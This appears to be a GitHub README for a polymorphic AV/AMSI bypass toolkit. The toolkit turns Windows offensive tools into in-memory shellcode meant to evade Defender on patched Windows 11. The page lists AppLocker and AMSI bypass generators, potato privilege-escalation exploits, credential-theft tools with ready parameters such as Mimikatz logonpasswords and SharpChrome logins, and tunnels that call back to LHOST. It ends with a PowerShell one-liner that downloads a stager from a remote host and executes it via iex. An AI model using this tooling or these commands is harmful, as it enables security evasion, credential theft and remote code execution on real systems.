You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Polymorphic AV/AMSI bypass toolkit. Converts any Windows PE or .NET tool into
in-memory shellcode that bypasses Defender on fully-patched Windows 11 24H2.
Converts individual tools to Donut shellcode (.enc)
runner_c_builder.py
Builds polymorphic 10KB C runner with indirect syscalls
runner_src/runner_template.c
C runner source (indirect syscalls, ETW, W^X stubs)
gen_runner.py
Generates polymorphic Go shellcode loader (alternative runner)
gen_stager.py
Generates PowerShell stager with AMSI+SBL bypass
gen_potato.py
Converts potato exploits to shellcode with baked-in commands
gen_msi.py
MSI/DLL AppLocker bypass — embedded or staged (WinHTTP download)
gen_applocker.py
MSBuild XML and InstallUtil C# AppLocker bypasses
Included Tools
Credential Access
Tool
Description
Default Params
Rubeus
Kerberos abuse
triage
Mimikatz
Credential extraction
privilege::debug sekurlsa::logonpasswords exit
SharpDPAPI
DPAPI credential extraction
triage
SharpChrome
Chrome saved credentials
logins
Enumeration
Tool
Description
Default Params
SharpHound
BloodHound AD collector
-c All --memcache
Certify
AD CS certificate abuse
find /vulnerable
Seatbelt
Host security survey
-group=all -full
winPEAS
Privilege escalation scanner
(none)
ADSearch
Custom LDAP queries
—
SharpUp
Privesc checks
audit
SQLRecon
MSSQL enumeration + RCE
—
Privilege Escalation
Tool
Description
Notes
GodPotato
SeImpersonate → SYSTEM
Only reliable potato on Win11 24H2
PrintSpoofer
SeImpersonate → SYSTEM
Requires Print Spooler enabled
BadPotato
SeImpersonate → SYSTEM
—
EfsPotato
SeImpersonate → SYSTEM
—
KrbRelayUp
Kerberos relay privesc
AD only
SharpGPOAbuse
GPO abuse
AD, requires GPO write
Lateral Movement & Tunneling
Tool
Description
Default Params
Ligolo-ng agent
Layer 3 tunnel
-connect LHOST:11601 -ignore-cert
Chisel
SOCKS5 tunnel over HTTP
client LHOST:8081 R:socks
RunasCs
Execute as different user
—
Active Directory
Tool
Description
Default Params
Whisker
Shadow Credentials
list
SharpGPOAbuse
GPO privilege escalation
—
On-Target Execution
Inline mode (no files on disk)
# One-liner — paste in any PS session or WinRM$h=New-Object-ComObject WinHttp.WinHttpRequest.5.1;$h.Open('GET','http://LHOST:8000/stager_sharpup.ps1',$false);$h.Send();iex $h.ResponseText
Change stager_sharpup.ps1 to whatever stager you generated.
Runner mode (PE on disk, output capture for long-running tools)